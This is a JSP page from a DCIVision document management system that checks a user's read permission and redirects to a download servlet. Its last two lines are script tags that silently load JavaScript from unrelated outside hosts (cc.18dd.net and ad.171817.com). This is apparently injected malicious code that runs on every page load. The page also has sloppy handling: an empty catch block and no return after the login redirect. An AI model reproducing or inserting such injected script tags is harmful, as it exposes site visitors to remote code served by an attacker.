<%
/*
 * @(#)OpenDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  OpenDocument.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    01/11/2005
    @version          $Revision: 1.1 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<%Connection conn = null;
  Integer documentID = TextUtility.parseIntegerObj(request.getParameter("ID")); 
  if(Utility.isEmpty(sessionContainer.getUserRecordID())){
	String onClickURL=request.getContextPath()+"/jsp/dms/OpenDocument.jsp?ID="+documentID;
    response.sendRedirect(request.getContextPath()+"/Login.do?action=redirect&url="+java.net.URLEncoder.encode(onClickURL, "UTF-8"));
  }
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  
  try{
	conn = DataSourceFactory.getConnection();
	DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
	DmsDocument dmsDocument = docRetrievalManager.getDocument(documentID);
    String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);
	String docName = dmsDocument.getDocumentName();
	String ext = docName.substring(docName.indexOf("."),docName.length());
  if (permission.indexOf("R")>=0) {
    response.sendRedirect(request.getContextPath()+"/dms/FileDownloadServlet?isDownload=Y&targetID="+documentID+"&version=TOP&documentType="+dmsDocument.getDocumentType()+"&ext="+ext);
  %>
  <script language="javascript">
    alert("download successfully.");
  </script>
  <%
  }else{
  %>
  <script language="javascript">
   alert("You have no right to download the document");
   window.close();
  </script>
  <%
  }
  }catch(Exception e){
  }finally{
    conn.close();conn=null;
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>